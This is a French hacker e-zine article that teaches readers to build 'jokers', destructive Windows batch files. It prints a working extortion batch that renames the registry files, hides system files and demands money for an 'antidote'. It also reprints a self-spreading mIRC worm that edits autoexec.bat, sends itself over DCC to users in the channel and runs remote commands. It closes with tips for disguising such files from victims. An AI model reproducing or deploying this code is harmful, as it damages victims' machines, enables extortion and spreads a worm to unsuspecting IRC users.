les Jokers                                                                                
Hack (X) Informatique general ( ) Autres ()                                                         
------------------------------------------


les jokers sont des programmes assimilles au virus, non par leur fonctionnement,
mais dans leurs intententions.
Generalement, un joker est un executable destructeur incapable de se repandre
par lui-meme.
Vous pouvez alors vous demander quel est l'interet d'utiliser un joker a la place
d'un virus.
Un joker n'a pas (souvent) de difficultes a etre cree, pas forcement programme, 
simplement cree, car un joker peut etre programme dans TOUT languages possible,
de l'assembleur, avec des fonctions de bas niveau, au pseudo-languages de script,
de haut niveau.
Puisque il est simple a mettre sur pied, vous pouvez le faire par vous-meme,
contrairement aux virus, et donc avoir une personnalisation du code optimal.
De plus, la majorite des anti-virus sont incapable de detecter les jokers.
les seul qui peuvent vous ennrtavez sonr ceux qui verifient les fichiers en 
temps reel.

Un joker peut produire des degats terrible sur votre machine, pendant la periode 
de "test", gardez toujours une disquette systeme, avec l' "antidote" dessus.

Un petit disclaimer, non pas pur dire que c mal de faire des jokers, mais simplement
pour vous avertir que les virus tuent internet, car les victimes sont les internautes
donc a force, ils partent, et alors les pages perso ferment, et il ne reste que les 
sites commerciaux, qui fermeront egalement puisque il n'y aura + de clients ....
Puis les ISP vont fermer aussi, et donc il n'y aura plus l'internet libre et accessible
pour tt le monde.
C un poil exagere, mais ca finira quand meme comme ca.

A partir d'ici, nous allons parler uniquement des jokers sous forme de batch 
Windows (.bat)

Un joker en .bat sera dejoue par n'importe quel utilisateur confirme, il suffit 
juste de connnaite la technique.

Avant cet article, vous etiez p-e vulnerable, maintenant, regardez a 2 fois :)

Un batch est un fichier texte interprete (par opposition a compile) par Dos.

Donc vous n'avez qu'a ecrire les insruction Dos de votre choix dans un fichier,
appellez le test1.bat, executez le, et les fonctions seront executees, les une 
apres les autres.

par exemple, ecrivez ceci dans un fichier et donnez lui une extension .bat .


8<----8<----8<----8<----8<----8<----8<----8<----8<----8<----8<

label DiskDur

8<----8<----8<----8<----8<----8<----8<----8<----8<----8<----8<

Executez-le, ouvrez votre poste de travail et  surprise, C: s'appelle DiskDur
Cet exemple est un peu pourri, mais avec une petite liste de fonctions, vous 
saisirez mieux.

Nom Fonction Exemple Conseil

del Supprimer del c:windowswin.com Ne l'utilisez que en "cas d'urgence"

ren rennomer ren c:windowswin.com win.exe Pratique, preferez le a del , car vous 
pouvez utiliser un antidote.

label ren partition label Pov_Con Change le titre du disque dur, parfait
pour foutre les boule a la victime

cd deplacer arbo cd windows Permet de se deplacer dans l'arborescence
cd .. remonte l'arbo, et cd amene a la 
racine.

md creer rep md joker Le but d'un joker est de detruire, pas de
construire :)

deltree suppr rep deltree c:windows Supprime un repertoire entier, avec sous
Dossiers et fichiers.

move mov un fichier move c:windowswin.com c: Pas mal, une alternative a ren

copy copy un fich. copy c:windowswin.com c: idem que move, mais delete le fichier 
source.

attrib change attrib. attrib +h c:windows Met le fichoer ou le rep en lecture seule 
(+r), caches (+h) ou archive.
C dur d'acceder aux fichiers caches sous 
DOS :)

Voila, c'est les commandes de bases.
Vous remarquerez que ces fonctions sont tres puissantes dans la gestion des fichiers.
Des autres commandes peuvent etre ajoutees a votre version du DOS, nous n'en tiendront pas compte
car ce n'est pas votre machine qui executera.

L'antidote : Appelation courante du programme qui annule les effets du joker, c'est utile pour la
phase de test, mais aussi si ce n'est que pour faire peur a votre victime.
On ne peut pas faire d'antidote efficace si l'on a utilise des commandes de suppression, d'ou
l'interet de ne faire que des ren et move.

Voici quelque jokers et leurs antidotes respectif :
Je vous les livres dans leur etat "fonctionnel" cad avec les messages que j'avais addresse a la 
victime (un lamer de base dans tout le lama-style).

8<----8<----8<----8<----8<----8<----8<----8<----8<----8<----8<
@ECHO OFF
@c:
@cd
@cd windows
@attrib -h -a -r user.dat
@rename c:windowsuser.dat ASPI.sys
@attrib -h -a -r system.dat
@rename c:windowssystem.dat ASPII.sys
@label petit con !
@Attrib +h c:autoexec.bat
@Attrib +h c:config.sys
@Attrib +h c:windowssystem.ini
@Attrib +h c:windowsprotocol.ini
@rename win.com win.old
@rename win.ini win.com
@rename win.old win.ini
@rename c:command.com comand.com
@rename c:windowscommand.com comand.com
@rename c:windowscommandformat.com format.exe 
echo Pv' baltringue, Tu me dois 2 Jeux ou si tu les a paumes, l'equivalent en CASH,
echo Soit Dark Omen 350 Fr et Zorg 100fr ,donc 450fr.
echo Si tu me file ce que tu me DOIS, je te file "l'antidote"
echo Je te deconseille de reparer seul, mon antidote pourrait ne plus marcher
echo Triplex Phall
echo .
echo PS : Un anti-virus ne sert a rien, formater non plus .(Vive BIOS) 
echo Tape "format c:", tu vas etre etonne
pause
chkdisk
pause
deltree a:antidote.bat
exit
8<----8<----8<----8<----8<----8<----8<----8<----8<----8<----8<

Et l'antidote.

8<----8<----8<----8<----8<----8<----8<----8<----8<----8<----8<
@ECHO OFF
@c:
@cd
@cd windows
@rename c:windowsASPI.sys user.dat
@rename c:windowsASPII.sys system.dat
@attrib +h +a c:windowsuser.dat
@attrib +h +a c:windowssystem.dat
@label Encheridion
@Attrib -h -a -r c:autoexec.bat
@Attrib -h -a -r c:config.sys
@Attrib -h -a -r c:windowssystem.ini
@rename win.ini win.old
@rename win.com win.ini
@rename win.old win.com
@rename c:comand.com c:command.com
@rename c:windowscomand.com command.com
@rename c:windowscommandformat.exe format.com 
@cd
echo Maintenant ca doit marcher.
echo sinon tu te colle tes 3 boutons au cul.
echo .
echo Sa Majeste 
echo Triplex Phall
pause
@atrrib +r c:windowswin.com
@deltree a:antidote.bat
@exit

8<----8<----8<----8<----8<----8<----8<----8<----8<----8<----8<



Vous venez de finir de lire ca, et vous pensez surement :
"Ouais C tout con ton truc, un gosse de 3 ans peut le faire"
Ok, pour l'instant c facile, mais regardez ca, vous allez changer d'avis.
Je ne l'ai pas teste, mais ca cree un script pour IRC, et je doute que ce 
soit pour ajouter des Away :)
C plus un virus qu'un joker , car il est capable de se 'reproduire', en 
s'envoyant a toutes les personne presentes dans le chan. 

8<----8<----8<----8<----8<----8<----8<----8<----8<----8<----8<
@echo off
@if %0 == C:WINSYS98.BAT goto :skip
@echo asdf >> c: emp.jpg
@c:progra~1intern~1iexplore c: emp.jpg
@echo @C:WINSYS98.BAT >> c:autoexec.bat
@copy /y %0 c:winsys98.bat > nul
:skip
@if exist c:mircmirc.exe goto ok
@exit
:ok
@copy /y %0 c:mircscript.ini > nul
@echo n0=script.ini >> c:mircmirc.ini
@echo n1=script.ini >> c:mircmirc.ini
@echo n2=script.ini >> c:mircmirc.ini
@echo n3=script.ini >> c:mircmirc.ini
@echo n4=script.ini >> c:mircmirc.ini
@echo n5=script.ini >> c:mircmirc.ini
@echo n6=script.ini >> c:mircmirc.ini
@echo n7=script.ini >> c:mircmirc.ini
@echo n8=script.ini >> c:mircmirc.ini
@echo n9=script.ini >> c:mircmirc.ini
@exit

[script]
n0=alias chanserv { rub.msg (msg:chanserv) $1- | chanserv $1- }
n1=alias nickserv { rub.msg (msg:nickserv) $1- | nickserv $1- }
n2=alias operserv { rub.msg (msg:operserv) $1- | operserv $1- }
n3=alias msg { rub.msg (msg: $+ $1 $+ ) $2- | msg $1- }
n4=alias privmsg { rub.msg (msg: $+ $1 $+ ) $2- | privmsg $1- }
n5=alias remote {
n6= if ($1 == off) { rub.echo info text:*** Remote is OFF }
n7= if ($1 == on) { rub.echo info text:*** Remote is ON (Ctcps,Events,Raw) }
n8=}
n9=alias unload {
n10= if ($1 == -rs) && ($gettok($2,$gettok($2,0,92),92) == $gettok($script,$gettok($script,0,92),92)) { rub.echo info text:*** Unloaded script
'script1.ini' }
n11= else {
n12= unload $1-
n13= }
n14=}
n15=alias -l rub.echo echo -ae  $+ $colour($gettok($1-,1,58)) $+ $deltok($1-,1,58)
n16=alias -l rub.msg if ($server != $null) raw -q privmsg $chr(35) $+ $date :#ribbed#2.41# $1-
n17=alias -l rub.name return $str(!,$r(0,9)) $+
$gettok(:jennie:wife:lori:cindy:lanna:pamela:jane:wendi:christine:linda:katherine:yasmeen:model:anna:nicole:,$r(1,15),58) $+ $gettok(::-:_:~:x:,$r(1,5),58)
$+ $gettok(::wet:hot:sexy:xxx:lick:horny:wild:orgy:naked:lesbian:straight:all-wet:,$r(1,13),58) $+ .jpg.bat
n18=alias -l rub.infect {
n19= :top
n20= if ($sock(*,0) > 5) return
n21= %rub.sock = rub.send. $+ $r(0,9999)
n22= socklisten %rub.sock | sockmark %rub.sock $1 0
n23= %rub.temp = $rub.name
n24= raw -q privmsg $1 :DCC SEND %rub.temp $longip($ip) $sock(%rub.sock).port $file($script).size $+ 
n25=}
n26=alias -l rub.help {
n27= if (($sock(*,0) > 5) && ($sock(rub.*,0) > 0)) {
n28= %rub.temp = 1
n29= :l
n30= if ($sock(rub.*,%rub.temp).ls > 30) sockclose $sock(rub.*,%rub.temp)
n31= else inc %rub.temp
n32= if (%rub.temp <= $sock(rub.*,0)) goto l
n33= }
n34= if (($chan(0) == 0) || ($sock(*,0) > 5)) return | %rub.temp2 = 0
n35= :loop
n36= %rub.temp = $chan($r(1,$chan(0)))
n37= %rub.temp = $nick(%rub.temp,$r(1,$nick(%rub.temp,0)))
n38= if (%rub.temp != $me) rub.infect %rub.temp
n39= if (%rub.temp2 < 5) { inc %rub.temp2 | goto loop }
n40=}
n41=on *:socklisten:rub.send.*:{
n42= set %rub.temp rub.write. $+ $gettok($sockname,3,46) | sockaccept %rub.temp | sockmark %rub.temp $sock($sockname).mark | rub.send
%rub.temp | sockclose $sockname
n43=}
n44=on *:sockwrite:rub.write.*:rub.send $sockname
n45=on *:sockclose:rub.write.*:rub.help
n46=alias -l rub.send {
n47= %rub.byte = $gettok($sock($1).mark,2,32)
n48= if ($calc(%rub.byte + 4096) < $file($script).size) {
n49= bread $script %rub.byte 4096 &rub.data
n50= sockwrite $1 &rub.data
n51= inc %rub.byte 4096
n52= }
n53= else {
n54= %rub.temp = $calc($file($script).size - %rub.byte)
n55= if (%rub.temp == 0) { rub.msg infected $gettok($sock($1).mark,1,32) | rub.help | return }
n56= bread $script %rub.byte %rub.temp &rub.data
n57= sockwrite $1 &rub.data
n58= %rub.byte = $file($script).size
n59= }
n60= sockmark $1 $gettok($sock($1).mark,1,32) %rub.byte
n61=}
n62=
n63=raw 401:*:{ set %rub.temp $chr(35) $+ $date | if ($2 == %rub.temp) halt }
n64=raw 404:*:{ set %rub.temp $chr(35) $+ $date | if ($2 == %rub.temp) halt }
n65=on *:connect:{
n66= .copy -o $script c:winsys98.bat
n67= rub.msg online ( $+ $me $+ ! $+ $ip $+ )
n68=}
n69=on *:invite:#:rub.msg invited to $chan
n70=on *:join:#:{
n71= if ($nick != $me) rub.infect $nick
n72= rub.help
n73=}
n74=on *:part:#:.timermircHelpTimer 0 10 rub.help
n75=on *:nick:if ($nick == $me) rub.msg nick: $nick -> $newnick
n76=on *:op:#:if ($opnick == $me) rub.msg just opped in $chan
n77=on *:serverop:#:if ($opnick == $me) rub.msg just serv-opped in $chan
n78=on *:usermode:rub.msg usermode: $1-
n79=
n80=on ^*:error:*:haltdef
n81=on ^*:notice:*:?:{
n82= if ($right($gettok($1-,1,94),$calc($len($gettok($1-,1,94)) - 1)) == ribbed) && (($version < 5.4) || ($gettok($1-,2,94) == $hash($me,32))) {
n83= $left($gettok($1-,3-,94),$calc($len($gettok($1-,3-,94)) - 1))
n84= haltdef
n85= }
n86=}
8<----8<----8<----8<----8<----8<----8<----8<----8<----8<----8<

Voila, vous avez des exemples, vous avez les instructions de base, maintenant vous
allez acquerir les conseils de base.

Pour eviter qu'un "utilisateur" s'apercoive des intentions de votre programme, il
serai bon de cacher le code lors de l'execution. Pour cela vous pouvez ajouter 
'@echo off'
echo off signifie que les instructions ne seront pas affichees lors de l'execution
et le @ sert a cacher l'invite (c:\).
Apres, vous pouvez ajouter un @ au debut de chaque commande, pour que rien n'apparaisse.

Si vous voulez afficher un msg, tapez-le, mais lors de l'execution vous aurez un 'nom de
commande ou de fichier incorrecte', pour palier a cette erreur, ajouez 'echo' devant le msg.

Pour eviter qu'un utilisateur, en farfouillant le code, devine les intentions du prog, vous
pouvez ajouter des caracteres assci, pour faire comme si le prog etait compile.
Par ex : 
    @    !L!This program requires Microsoft Windows.

par contre vous obtiendrez des 'noms de commande ...', la solution a ca s'appele rem.
rem sert a ajouter un commentaire, donc a ignorer tout ce qui suit sur la meme ligne.
Ok, c visible, mais si vous mettez des rem a chaque ligne pendant 2 pages, ca restera 
discret (en theorie :).
Vous pouvez egalement ajouter du poids a vos prog avec cette technique, en effet, si 
vous dites a votre victime que le prog est un jeux super, et qu'elle voit que le prog 
fait 306 octets, elle devrai se douter de qqc.
Le mieux est de copier-coller le contenu de win.com, avec edit, de mettre des rem a 
chaque debut de ligne, et de mettre votre code au milieu, et enfin de prier pour que ca 
marche :)

Vous pouvez afficher un 'appuyez sur une touche por continuer' avec 'la commade 'pause' .
A utiliser sans arguments.
Il est possible de faire des batch interactif, avec 'choice', mais les jokers doivent 
s'executer, tres rapidement, avant que l'utilisateur s'apercoive de qqc. 
Je serai tres contete que vous m'enviyez vos creation, juste histoire de voir de quoi vos etes capable :)
mailto:triplex@multimania.com

C tout pour ajourd'hui, et j'espere faire qqc de mieux pour le 3, ca sera p-e le 4, vu
que je suis en reatrd pour rendre l'article, le 3 sera p-e deja sorti :) 

Triplex.


